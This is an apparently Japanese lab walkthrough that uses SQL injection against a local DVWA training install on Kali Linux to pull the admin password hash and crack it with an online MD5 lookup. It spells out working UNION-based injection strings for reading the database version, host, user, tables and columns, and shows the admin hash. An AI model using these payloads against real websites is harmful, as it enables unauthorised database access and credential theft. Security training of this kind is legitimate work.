前提
- kali linux環境がある
- DVWAのセットアップ済み(https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c )
目標
- sqlインジェクションでadminのパスワードを奪取する
手順概要
- sqlインジェクションができるか確認する
- DVWAで使用されているDBを見つける
- ユーザ情報を管理しているテーブルを特定する
- 特定したテーブル内の使用されるカラムを確認する
- カラムにパスワードに関するものをみつける
- adminのパスワードを奪取する
- 暗号化されているので解読する
内容
SQLインジェクションとは
- 入力フォームなどからSQL命令を直接送り込み、データベースに不正アクセスする方法
前準備
-
DVWAにログインする
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
-
セキュリティレベルを下げる。
インジェクション開始
-- 余談だが、こんな感じの命令文なのだろう
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値]
- sql命令文が通るか確認する
- 「1' or 'a'='a」と入力すると、全ユーザーが出力された。つまり、sql命令可能なフォームであることが分かった。
-- 1' or 'a'='a'とすると,後者が必ずtrueになるので全部ユーザー返ってくるはず
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値] OR 'a' ='a
- DBのバージョン取得する(今回のpw奪取には不要だが一応)
- 「' union select version(), null #」と入力すると、バージョンが返ってきた。
-- バージョンを取得
select version()
-- 今回すでにselect文が組み込まれているので、1つの命令で2つのselectを流すようにする
-- unionはselectを統合する
-- 最後は#で不要な命令をコメントアウトする
union select version() #
--The used SELECT statements have a different number of columnsってエラーになる
union select version(), null #
- 検索すべきDBを特定するためDB名を取得(ついでにホスト名とユーザー名)
- 「' union select @@hostname,database() #」と入力すると、hostname:kali,DB:dvwaであることが分かった。
- 「' union select user(),'hoge' #」と入力すると、user:mysqlであることが分かった。
-- ホスト名
@@hostname
-- データベース名
database()
-- ユーザー名
user()
-- バージョン取得時と同様に
union select @@hostname,database() #
union select user(),'hoge' #
- DB:dvwaのテーブルを取得
- 「' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #」と入力するとguestbookとusersの2つテーブルがあることが分かった。
- 多分usersテーブルにユーザー情報がありそうだと目星をつける。
-- information_schemaが持つデータは以下の3つ
-- <1>schemata:DBのメタ情報
-- <2>tables:テーブルのメタ情報
-- <3>column:カラムのメタ情報
union select table_name, null from information_schema.tables #
-- 多量のデータが出てきたので、絞り込む。今回のDBはdvwaなのでそれを使う
union select table_name, null from information_schema.tables where table_schema = 'dvwa'#
- ユーザーテーブルのカラムを参照
- 「' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#」と入力すると、各テーブルのカラムが出てきた。
union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#
-
passwordカラムの存在を確認できたので、adminのパスワードを奪取する
-
ハッシュパスワードを解析する
- 汎用的なMD5ハッシュは( https://www.md5online.org/ )で検索できるらしいが、検索失敗した。
- 代用品使用( https://hashtoolkit.com/decrypt-hash/?hash=5f4dcc3b5aa765d61d8327deb882cf99 )
-
admin/passwordを奪取できた。